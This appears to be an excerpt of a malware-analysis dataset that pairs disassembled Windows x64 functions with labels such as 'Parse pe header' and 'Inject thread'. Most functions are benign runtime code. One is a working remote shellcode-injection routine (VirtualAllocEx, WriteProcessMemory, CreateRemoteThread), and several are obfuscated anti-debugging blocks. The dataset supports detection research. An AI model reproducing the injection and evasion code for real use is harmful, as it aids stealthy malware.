joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001184c
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
mov eax, 0x1030
call fcn.140022830
sub rsp, rax
mov rax, qword [0x14004bc38]
xor rax, rsp
mov qword [rsp + 0x1020], rax
xor r14d, r14d
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
cmp word [rcx], r14w
je 0x1400119ff
call fcn.140011a28
mov rcx, rbx
call fcn.140027a5c
mov rcx, rbx
mov rbp, rax
call fcn.140011a58
test al, al
je 0x140011934
mov rcx, rbx
call fcn.140011a28
test al, al
je 0x1400118e8
lea rax, [rbp + 4]
cmp rdi, rax
jbe 0x1400119ff
mov r8, rdi
lea rdx, str.__
mov rcx, rsi
call fcn.140016e14
mov rdx, rbx
mov r8, rdi
mov rcx, rsi
call fcn.140016dd0
mov al, 1
jmp 0x140011a01
cmp word [rbx], 0x5c
jne 0x1400119ff
cmp word [rbx + 2], 0x5c
jne 0x1400119ff
lea rax, [rbp + 6]
cmp rdi, rax
jbe 0x1400119ff
mov r8, rdi
lea rdx, str.__
mov rcx, rsi
call fcn.140016e14
mov r8, rdi
lea rdx, [0x14003b540]
mov rcx, rsi
call fcn.140016dd0
lea rdx, [rbx + 2]
jmp 0x1400118d6
lea rdx, [rsp + 0x20]
mov ecx, 0x7ff
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec eax
cmp eax, 0x7fe
ja 0x1400119ff
cmp word [rbx], 0x5c
je 0x1400119c9
cmp word [rbx], 0x2f
je 0x1400119c9
mov edx, 0x800
lea rcx, [rsp + 0x20]
call fcn.1400113e4
lea rcx, [rsp + 0x20]
call fcn.140027a5c
lea rcx, [rax + 4]
add rcx, rbp
cmp rdi, rcx
jbe 0x1400119ff
mov r8, rdi
lea rdx, str.__
mov rcx, rsi
call fcn.140016e14
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140016dd0
cmp word [rbx], 0x2e
jne 0x1400118d3
cmp word [rbx + 2], 0x5c
je 0x1400119c0
cmp word [rbx + 2], 0x2f
jne 0x1400118d3
add rbx, 4
jmp 0x1400118d3
lea rax, [rbp + 6]
cmp rdi, rax
jbe 0x1400119ff
mov r8, rdi
lea rdx, str.__
mov rcx, rsi
call fcn.140016e14
mov r8, rdi
mov word [rsp + 0x24], r14w
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140016dd0
jmp 0x1400118d3
xor al, al
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.1400224d0
add rsp, 0x1030
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140012b68
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, r9
mov r10b, bl
cmp r8d, 1
jbe 0x140012b9c
lea rcx, [rdx + 1]
lea r8d, [rdi - 1]
xor r10b, byte [rcx]
inc rcx
sub r8, 1
jne 0x140012b90
cmp r10b, byte [rdx]
jne 0x140012bd8
mov r8, rdi
or ecx, 0xffffffff
call fcn.140007ffc
lea rdx, [0x14004b9e0]
not eax
mov rcx, rdx
cmp dword [rcx + 4], eax
jne 0x140012bc1
cmp dword [rcx], edi
je 0x140012bce
inc ebx
add rcx, 0xc
cmp ebx, 6
jae 0x140012bd8
jmp 0x140012bb8
lea rcx, [rbx + rbx*2]
mov eax, dword [rdx + rcx*4 + 8]
mov dword [rsi], eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001487
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400274b0]
mov dword [rax], 1
mov rax, qword [0x1400274c0]
mov dword [rax], 1
mov rax, qword [0x1400274d0]
mov dword [rax], 1
mov rax, qword [0x140027440]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400034e0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
lea rsi, [0x14002510a]
lea rdi, [0x14003f100]
mov rcx, qword [0x14002e0a8]
movq xmm6, rdi
movq xmm0, rsi
punpcklqdq xmm6, xmm0
test rcx, rcx
je 0x140003537
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140003558
mov rcx, qword [0x14002e0a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14003f0e0], 0
jne 0x140003570
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14002e0a8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14000352a
mov edx, 0x414
lea r12, [rsp + 0x20]
mov qword [rsp + 0x20], 0
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x28], 3
mov rcx, r12
mov ebx, 0x14
mov word [rsp + 0x40], dx
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003624
test al, 0x10
je 0x140003540
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140003540
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x1400035d0
jmp 0x140003540
Function at 0x140001d0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d56
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d58
xor al, al
add rsp, 0x28
ret
Function at 0x1400110a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011c00
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x14001f468]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400250a3]
call fcn.1400113d4
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011cb4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x140011e0e
mov rdx, qword [rbp + 8]
lea rcx, str._i__Allocated_Memory_At:_0x_p__n
call fcn.1400111bd
lea rcx, str.___Press__Enter__To_Write_Payload..._n
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x150]
mov r8, qword [rbp + 0x148]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011d0f
mov rax, qword [rbp + 0x150]
cmp qword [rbp + 0x28], rax
je 0x140011d2a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x140011e0e
mov rdx, qword [rbp + 0x28]
lea rcx, str._i__Successfully_Written__d_Bytes_n
call fcn.1400111bd
mov r8, qword [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call fcn.14001130c
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rbp + 0x150]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140011d92
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_Failed_With_Error:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x140011e0e
lea rcx, str.___Press__Enter__To_Run..._n
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
lea rcx, str._i__Executing_Payload..._n
call fcn.1400111bd
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140011dfd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_With_Error:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x140011e0e
lea rcx, str.___DONE__n
call fcn.1400111bd
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001b640]
call fcn.140011361
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011230
Capabilities:
Terminate process

Disassembly:
jmp 0x140012950
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112bc
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400150a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400150c0
xor al, al
jmp 0x140015141
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400150d3
xor al, al
jmp 0x140015141
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400150fd
xor al, al
jmp 0x140015141
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015111
xor al, al
jmp 0x140015141
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015123
xor al, al
jmp 0x140015141
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001513f
xor al, al
jmp 0x140015141
mov al, 1
add rsp, 0x38
ret
Function at 0x140985b5c
Capabilities:
Execute anti-debugging instructions

Disassembly:
setg sil
push qword [rsp + 0x13]
xchg r9d, eax
mov r12b, 0xeb
jmp 0x140985b88
setle al
mov cl, r8b
bswap r15
jmp 0x140985b46
Function at 0x14098620f
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg qword [rsp], rax
xchg byte [rsp + 1], r8b
xchg byte [rsp + 4], cl
jmp 0x1409862ac
bsf r8w, sp
lea rbx, [r10 + riz + 0x9f]
jmp 0x14098628c
xchg dword [rsp + 4], r11d
pop r12
dec r13w
mov rdx, 0x4ce5041a
add rsp, 0
push r15w
jmp 0x14098625a
lea r11, [r15 + r15]
mov rcx, qword [rsp]
mov r10, qword [rsp]
mov word [rsp], r15w
xchg r13b, r12b
mov word [rsp], r14w
jmp 0x1409862e0
mov r9w, 0x4f99
clc
lea rdi, [rdx*8]
bsr ax, r8w
mov r8w, 0x22ec
mov bx, r10w
jmp 0x140986270
rdtsc
mov r10b, r13b
rdtsc
mov r15, qword [rsp]
mov r15d, dword [rsp]
jmp 0x14098630c
btc esi, r10d
bswap rsi
mov cx, word [rsp + 1]
bswap ebp
bswap rbp
mov r12, rcx
jmp 0x1409862ca
std
xchg rbx, r13
lea rsi, [0x774291fa]
xchg r10d, ecx
jmp 0x140986325
dec r9b
mov r12, 0xfffffffff1ea06f5
mov r12, qword [rsp]
neg ebp
bsf r10d, r8d
xchg ebp, r14d
jmp 0x1409862f6
lea rax, [rsi + r14]
sub si, r14w
bts r14w, bx
lea r13, [rsp - 0xb8]
jmp 0x14098637a
btc bp, r9w
cmc
mov r9, 0xffffffff9b75d11f
xchg al, bpl
mov r10, qword [rsp]
mov r9, rbx
jmp 0x1409863c4
mov sil, r10b
xchg rcx, r13
pop r12w
xchg r14w, ax
bswap ebp
mov ax, 0x4bfc
jmp 0x140986359
lea rdi, [rdx*4]
mov di, r9w
mov rdi, qword [rsp]
jmp 0x1409863dd
cmp r15w, 0xdcf7
mov eax, 0xfe6e427e
or r15d, 0xd1aa483
jmp 0x14098638f
mov r14b, 0x9f
btr r11, r13
dec di
mov r14b, byte [rsp]
sbb esi, 0x233813c3
inc r11
jmp 0x1409863a5
lea rsp, [rsp]
cld
xchg r8d, edx
mov edx, r14d
mov esi, 0x2a4f1a34
mov ebp, esp
jmp 0x140986450
mov r13d, 0x262fee69
bt r10w, bp
setne r10b
jmp 0x14098647a
xchg byte [rsp], r9b
setb r14b
mov r14w, 0xfadf
add rsp, 0
cpuid
bswap edi
jmp 0x140986413
mov r11b, byte [rsp]
dec r9d
btc ecx, esp
cpuid
mov ecx, dword [rsp]
neg r10d
jmp 0x140986429
mov r9d, 0x2bb4c668
cpuid
mov r11d, dword [rsp]
bswap edx
btc r13, r11
cpuid
call fcn.140986464
bswap edx
push cx
mov rdi, qword [rsp + 0xa]
mov r15d, dword [rsp + 1]
cpuid
mov bp, r10w
jmp 0x140986801
mov r9d, ebp
cmc
neg ebp
mov di, word [rsp]
call fcn.14098651b
invalid
xchg r14d, r8d
sub rsp, 0xe
lea rsp, [rsp + 6]
xchg r13w, r9w
neg r10b
mov bpl, cl
jmp 0x1409864d7
xchg rbp, rax
mov bx, word [rsp]
std
bswap r9d
mov r11, r12
mov r12, 0x1c2d06f4
jmp 0x1409864ed
shr r8b, cl
xchg word [rsp], bx
lea rsp, [rsp + 1]
cld
lea r12, [r11 + r11]
xchg byte [rsp], r8b
jmp 0x14098654f
mov r8d, 0x8c7c5953
xchg qword [rsp], r13
add rsp, 6
mov dl, 0x61
std
lea r8, [rsi + r11]
jmp 0x1409865a5
rol ecx, cl
mov rsi, 0xfffffffff8fe80f8
std
xchg qword [rsp], rdi
not r11d
add rsp, 3
jmp 0x140986650
xchg r13, rdx
rdtsc
bswap r11d
inc al
xchg word [rsp + 6], di
bswap rax
jmp 0x140986706

Function at 0x140986341
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg word [rsp + 0x22], r12w
bswap r15d
push ax
add rsp, 0x16
bswap rdx
jmp 0x1409860dd
Function at 0x1409866db
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp], r14
jmp 0x1409866e5
pop si
rdtsc
mov qword [rsp], r11
rcr r15d, cl
rdtsc
add rsp, 0xb
jmp 0x1409867d3
rdtsc
sub rsp, 0x1e
pop di
mov r10, 0x5a292076
jmp 0x1409867a5
mov r13b, 0xcf
xchg r9b, r8b
lea rdx, [rcx*8]
xchg ebx, r11d
mov r12, 0x24fead32
setle r8b
jmp 0x140986720
mov r8d, dword [rsp]
setnp bpl
add rsp, 0
lea rdx, [rsp + rcx]
shr ax, 0xc
lea rbp, [r11 + riz + 0xa7]
jmp 0x140986736
pop word [rsp + 0x14]
call fcn.14098677c
lea rbx, [rbp + rbp]
dec dl
mov ax, word [rsp + 0x13]
xchg edx, esi
ror rbx, 0x15
cpuid
jmp 0x140986847
lea rsp, [rsp]
mov r8w, r9w
xchg byte [rsp], bl
lea r9, [r11 + riz + 0x47c]
sub rsp, 9
add rsp, 7
jmp 0x14098675e
inc ebp
dec r12d
btr r8, r13
and rcx, rdi
dec r9b
jmp 0x1409868e5
pop rdi
bswap rsi
mov byte [rsp + 0xd], cl
pop word [rsp + 4]
pop rbx
xchg dword [rsp], r12d
jmp 0x140986818
mov cx, 0x6d08
xchg qword [rsp + 5], r11
xchg r14d, edi
mov r9, qword [rsp + 0x24]
add rsp, 0x16
std
jmp 0x14098682e
btc r10, r15
add rsp, 0xd
rdtsc
push qword [rsp]
jmp 0x1409868a3
sub rsp, 0x11
bsf rdi, r8
mov ecx, r9d
mov dword [rsp + 0xb], ecx
mov dword [rsp + 3], ecx
mov r13b, dil
jmp 0x14098685f
push word [rsp + 1]
mov r10d, dword [rsp + 0xc]
xchg qword [rsp + 4], r9
mov rdi, r12
call fcn.14098688d
mov rcx, r15
mov r14w, word [rsp + 0xb]
xchg byte [rsp + 0x14], bpl
sbb r14, 0x101b24dd
mov byte [rsp + 0x13], r15b
add r14w, di
jmp 0x14098695c
push dx
mov r15, r8
lea rsi, [r10 + riz - 0x503e8124]
neg r9b
xchg word [rsp + 3], r15w
mov r10d, dword [rsp + 2]
jmp 0x140986875
add rsp, 1
mov esi, r15d
push rdx
mov bx, 0x3631
add rax, rsp
jmp 0x140986935
lea rsp, [rsp + 0x1b]
xchg r12w, r13w
mov bp, 0xa734
dec eax
rdtsc
mov r15d, 0x111432ea
jmp 0x140986906
xchg r9w, r15w
lea r10, [0x33b27352]
xchg cx, dx
bsf r15d, r10d
lea rbx, [rdx + rbp]
bsf r9, r12
jmp 0x14098698c
bsf ecx, r10d
xchg qword [rsp + 7], rbp
cpuid
bt r13w, bp
xchg r15d, ebp
mov r13, qword [rsp + 1]
jmp 0x14098691c
cpuid
neg si
push r15w
cld
mov al, cl
mov edx, esi
call fcn.140986976
mov cl, 0x3c
sal byte [rbp + 0x2889a744], cl
loop 0x1409869c7
insb byte [rdi], dx
xchg byte [rsp + 3], r9b
call fcn.140986b13
bswap ecx
xchg qword [rsp + 3], r11
bsf r12d, r8d
mov word [rsp], r8w
bt ebp, r15d
jmp 0x140986acf
xchg qword [rsp + 5], r11
mov qword [rsp + 3], r12
rcl r10b, cl
jmp 0x140986a67
lea r12, [r11 + riz]
cmp r10d, 0x5439c502
bswap edi
btc eax, edx
pushfq
jmp 0x140986a07
mov bl, byte [rsp + 2]
mov dx, word [rsp + 4]
dec r15b
push cx
mov r13w, word [rsp]
mov ebx, dword [rsp]
jmp 0x140986a1d
mov r13w, r9w
bt rbp, r10
call fcn.140986a51
fisttp qword [rdx + rax*8 - 0x5b]
push rsp
movsd dword [rdi], dword [rsi]
invalid
xchg r14w, r15w
xchg byte [rsp + 3], r15b
mov r15d, dword [rsp + 2]
mov r11, r14
mov cx, 0x602d
mov eax, dword [rsp + 4]
jmp 0x140986a38
pop si
mov r14, r9
clc
pop rbp
rdtsc
mov dword [rsp], esp
jmp 0x140986a81
Function at 0x140987dc8
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov rax, qword [rax + riz + 0x10]
push rax
jmp 0x140986053
mov rax, qword [rax + riz + 0x18]
mov rax, qword [rax + riz + 0x30]
mov rax, qword [rax + riz]
jmp 0x140987d4f
lea rsp, [rsp + 2]
lea rsp, [rsp + 0x20]
mov rax, qword gs:[0x60]
jmp 0x140987d77
Function at 0x140002b20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008b30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008b30
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002b90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0a4]
mov rbx, rcx
test esi, esi
jle 0x140002cc0
mov rax, qword [0x14000f0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002bdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002c65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002bc0
mov rcx, rbx
call fcn.1400035e0
mov rdi, rax
test rax, rax
je 0x140002ce2
mov rax, qword [0x14000f0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003720
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002cc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002c5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002c70
add dword [0x14000f0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002c5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002b20
nop dword [rax]
xor esi, esi
jmp 0x140002be8
mov rax, qword [0x14000f0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002b20
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002b20
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003250
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f0e0]
test rbx, rbx
je 0x1400032ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400032a3
test rsi, rsi
je 0x1400032a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003288
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400035e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000bdc0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003600
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003608
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003600
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000365d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003654
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003600
add rax, 0x28
cmp rax, r9
jne 0x140003640
xor eax, eax
ret

Function at 0x140003660
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bdc0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000367f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003688
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000367f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003720
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bdc0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000373f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003748
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140003a14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003a5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003a5e
cmp dword [rcx + 0x84], 0xe
jbe 0x140003a5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003a60
xor al, al
add rsp, 0x28
ret